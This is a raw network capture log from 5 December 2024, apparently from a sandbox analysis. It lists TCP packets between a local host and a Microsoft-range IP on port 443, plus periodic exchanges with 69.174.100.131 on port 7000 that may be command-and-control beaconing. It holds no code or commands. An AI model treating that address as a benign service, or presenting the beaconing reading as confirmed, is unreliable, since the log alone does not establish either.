Dec 5, 2024 14:02:44.822407007 CET	49959	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.822413921 CET	443	49959	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.880665064 CET	49963	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.880701065 CET	443	49963	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.880810976 CET	49963	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.896964073 CET	49964	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.896994114 CET	443	49964	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.897067070 CET	49964	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.905241966 CET	49963	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.905256987 CET	443	49963	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.909511089 CET	49964	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.909526110 CET	443	49964	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.084860086 CET	443	49960	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.087973118 CET	443	49960	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.089649916 CET	49960	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.129754066 CET	49960	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.129779100 CET	443	49960	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.129791975 CET	49960	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.129803896 CET	443	49960	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.140595913 CET	49965	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.140635967 CET	443	49965	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.140753984 CET	49965	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.141494989 CET	49965	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.141509056 CET	443	49965	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.326950073 CET	443	49961	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.383614063 CET	49961	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.385045052 CET	49961	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.385051966 CET	443	49961	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.386778116 CET	443	49962	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.391779900 CET	49961	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.391783953 CET	443	49961	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.403570890 CET	49962	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.403604031 CET	443	49962	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.405124903 CET	49962	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.405133009 CET	443	49962	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.762049913 CET	443	49961	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.765177011 CET	443	49961	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.765227079 CET	443	49961	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.765242100 CET	49961	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.765291929 CET	49961	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.765386105 CET	49961	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.765404940 CET	443	49961	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.765414953 CET	49961	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.765420914 CET	443	49961	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.769278049 CET	49966	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.769301891 CET	443	49966	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.769429922 CET	49966	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.769706011 CET	49966	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.769720078 CET	443	49966	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.820823908 CET	443	49962	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.824507952 CET	443	49962	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.824613094 CET	49962	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.824889898 CET	49962	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.824912071 CET	443	49962	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.824923992 CET	49962	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.824929953 CET	443	49962	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.829070091 CET	49967	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.829103947 CET	443	49967	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:45.829171896 CET	49967	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.829473019 CET	49967	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:45.829488039 CET	443	49967	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:46.619726896 CET	443	49963	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:46.620924950 CET	49963	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:46.620949030 CET	443	49963	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:46.621753931 CET	49963	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:46.621762037 CET	443	49963	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:46.624819994 CET	443	49964	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:46.625369072 CET	49964	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:46.625401020 CET	443	49964	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:46.625963926 CET	49964	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:46.625973940 CET	443	49964	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:46.858866930 CET	443	49965	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:46.859450102 CET	49965	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:46.859482050 CET	443	49965	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:46.860102892 CET	49965	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:46.860109091 CET	443	49965	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.054004908 CET	443	49963	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.057113886 CET	443	49963	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.057168007 CET	443	49963	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.057198048 CET	49963	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.057238102 CET	49963	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.057385921 CET	49963	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.057399988 CET	443	49963	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.057447910 CET	49963	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.057454109 CET	443	49963	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.058667898 CET	443	49964	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.060596943 CET	49968	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.060623884 CET	443	49968	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.061624050 CET	49968	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.061793089 CET	49968	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.061805010 CET	443	49968	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.062494040 CET	443	49964	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.062546968 CET	49964	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.062597036 CET	49964	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.062597036 CET	49964	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.062623024 CET	443	49964	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.062633991 CET	443	49964	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.064913034 CET	49969	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.064950943 CET	443	49969	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.065618992 CET	49969	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.065778017 CET	49969	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.065794945 CET	443	49969	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.293756962 CET	443	49965	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.297429085 CET	443	49965	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.297497988 CET	49965	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.297684908 CET	49965	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.297708035 CET	443	49965	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.297727108 CET	49965	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.297734022 CET	443	49965	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.303265095 CET	49970	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.303303957 CET	443	49970	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.303364038 CET	49970	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.303550005 CET	49970	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.303561926 CET	443	49970	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.490609884 CET	443	49966	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.498884916 CET	49966	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.498910904 CET	443	49966	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.499696970 CET	49966	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.499703884 CET	443	49966	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.545097113 CET	443	49967	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.555556059 CET	49967	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.555589914 CET	443	49967	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.556370974 CET	49967	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.556390047 CET	443	49967	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.704570055 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:47.824395895 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:47.924684048 CET	443	49966	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.928231001 CET	443	49966	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.928317070 CET	49966	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.928559065 CET	49966	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.928577900 CET	443	49966	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.979435921 CET	443	49967	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.983200073 CET	443	49967	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.983253956 CET	49967	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:47.983272076 CET	443	49967	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:47.983318090 CET	49967	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:48.030782938 CET	49967	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:48.030822039 CET	443	49967	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:48.088795900 CET	49971	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:48.088921070 CET	443	49971	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:48.089009047 CET	49971	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:48.093271017 CET	49971	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:48.093286037 CET	443	49971	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:48.114887953 CET	49972	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:48.114937067 CET	443	49972	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:48.114989042 CET	49972	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:48.126174927 CET	49972	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:48.126193047 CET	443	49972	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:48.860256910 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:48.867912054 CET	443	49968	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:48.868700981 CET	49968	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:48.868720055 CET	443	49968	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:48.869385004 CET	443	49969	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:48.869404078 CET	49968	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:48.869410992 CET	443	49968	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:48.869848967 CET	49969	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:48.869864941 CET	443	49969	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:48.870285034 CET	49969	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:48.870290995 CET	443	49969	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:48.980047941 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:49.024056911 CET	443	49970	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.026081085 CET	49970	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.026098967 CET	443	49970	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.026565075 CET	49970	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.026570082 CET	443	49970	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.305792093 CET	443	49969	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.305857897 CET	443	49969	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.305907011 CET	443	49969	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.305910110 CET	49969	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.305953979 CET	49969	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.307023048 CET	49706	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:02:49.307513952 CET	49969	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.307526112 CET	443	49969	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.307540894 CET	49969	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.307545900 CET	443	49969	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.312751055 CET	443	49968	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.313776970 CET	49973	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.313787937 CET	443	49973	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.313836098 CET	49973	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.314198017 CET	49973	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.314208031 CET	443	49973	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.315793037 CET	443	49968	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.315967083 CET	49968	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.316011906 CET	49968	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.316026926 CET	443	49968	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.316036940 CET	49968	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.316042900 CET	443	49968	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.320612907 CET	49974	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.320645094 CET	443	49974	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.320797920 CET	49974	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.320956945 CET	49974	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.320974112 CET	443	49974	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.427639961 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:02:49.427803040 CET	49706	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:02:49.458811998 CET	443	49970	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.461966991 CET	443	49970	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.462241888 CET	49970	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.462397099 CET	49970	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.462414980 CET	443	49970	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.462446928 CET	49970	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.462454081 CET	443	49970	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.465504885 CET	49975	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.465545893 CET	443	49975	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.465621948 CET	49975	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.466213942 CET	49975	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.466227055 CET	443	49975	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.822393894 CET	443	49971	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.823385000 CET	49971	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.823421001 CET	443	49971	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.823947906 CET	49971	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.823955059 CET	443	49971	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.842458963 CET	443	49972	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.842924118 CET	49972	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.842941046 CET	443	49972	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:49.843492985 CET	49972	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:49.843498945 CET	443	49972	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:50.257909060 CET	443	49971	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:50.260437965 CET	443	49971	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:50.263777971 CET	49971	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:50.264031887 CET	49971	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:50.264050961 CET	443	49971	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:50.264064074 CET	49971	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:50.264069080 CET	443	49971	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:50.267333031 CET	49976	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:50.267364025 CET	443	49976	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:50.267721891 CET	49976	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:50.267932892 CET	49976	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:50.267944098 CET	443	49976	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:50.281522989 CET	443	49972	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:50.284646034 CET	443	49972	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:50.284694910 CET	443	49972	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:50.284722090 CET	49972	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:50.284765959 CET	49972	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:50.284965992 CET	49972	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:50.284980059 CET	443	49972	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:50.285033941 CET	49972	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:50.285041094 CET	443	49972	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:50.287709951 CET	49977	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:50.287743092 CET	443	49977	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:50.287801981 CET	49977	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:50.288091898 CET	49977	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:50.288106918 CET	443	49977	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.028944969 CET	443	49973	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.037679911 CET	443	49974	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.143248081 CET	49973	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.143280029 CET	443	49973	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.144885063 CET	49973	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.144895077 CET	443	49973	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.146301031 CET	49974	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.146318913 CET	443	49974	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.147480011 CET	49974	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.147488117 CET	443	49974	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.184238911 CET	443	49975	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.240905046 CET	49975	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.240926027 CET	443	49975	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.243500948 CET	49975	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.243510962 CET	443	49975	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.468708992 CET	443	49973	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.471889973 CET	443	49973	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.471951962 CET	49973	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.472201109 CET	49973	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.472206116 CET	443	49973	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.472218990 CET	49973	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.472223043 CET	443	49973	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.473222971 CET	443	49974	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.476118088 CET	443	49974	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.476182938 CET	49974	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.476963043 CET	49974	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.476975918 CET	443	49974	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.476988077 CET	49974	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.476994038 CET	443	49974	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.477123022 CET	49978	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.477134943 CET	443	49978	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.477375031 CET	49978	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.479091883 CET	49978	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.479108095 CET	443	49978	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.481430054 CET	49979	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.481451035 CET	443	49979	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.481626034 CET	49979	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.481950045 CET	49979	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.481965065 CET	443	49979	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.620450974 CET	443	49975	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.624176025 CET	443	49975	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.624218941 CET	443	49975	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.624233007 CET	49975	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.624274015 CET	49975	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.624408007 CET	49975	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.624423027 CET	443	49975	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.624511957 CET	49975	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.624517918 CET	443	49975	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.627399921 CET	49980	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.627443075 CET	443	49980	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.627566099 CET	49980	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.627737045 CET	49980	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.627756119 CET	443	49980	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.656996012 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:51.777302980 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:51.983835936 CET	443	49976	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.986154079 CET	49976	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.986166000 CET	443	49976	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:51.986668110 CET	49976	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:51.986673117 CET	443	49976	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.030714989 CET	443	49977	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.034562111 CET	49977	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:52.034579992 CET	443	49977	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.035056114 CET	49977	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:52.035060883 CET	443	49977	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.418601036 CET	443	49976	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.421830893 CET	443	49976	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.421922922 CET	49976	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:52.422080994 CET	49976	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:52.422094107 CET	443	49976	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.422132969 CET	49976	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:52.422139883 CET	443	49976	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.425278902 CET	49981	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:52.425326109 CET	443	49981	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.425400972 CET	49981	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:52.425601006 CET	49981	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:52.425611973 CET	443	49981	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.475148916 CET	443	49977	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.478292942 CET	443	49977	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.478343010 CET	443	49977	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.478416920 CET	49977	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:52.478478909 CET	49977	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:52.478493929 CET	443	49977	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.478507042 CET	49977	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:52.478513002 CET	443	49977	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.481065035 CET	49982	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:52.481101036 CET	443	49982	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.481163979 CET	49982	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:52.481332064 CET	49982	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:52.481345892 CET	443	49982	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:52.615930080 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:52.735805988 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:53.009033918 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:53.129023075 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:53.193972111 CET	443	49978	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.194713116 CET	49978	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:53.194725990 CET	443	49978	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:53.195386887 CET	49978	443	192.168.2.6	13.107.246.63
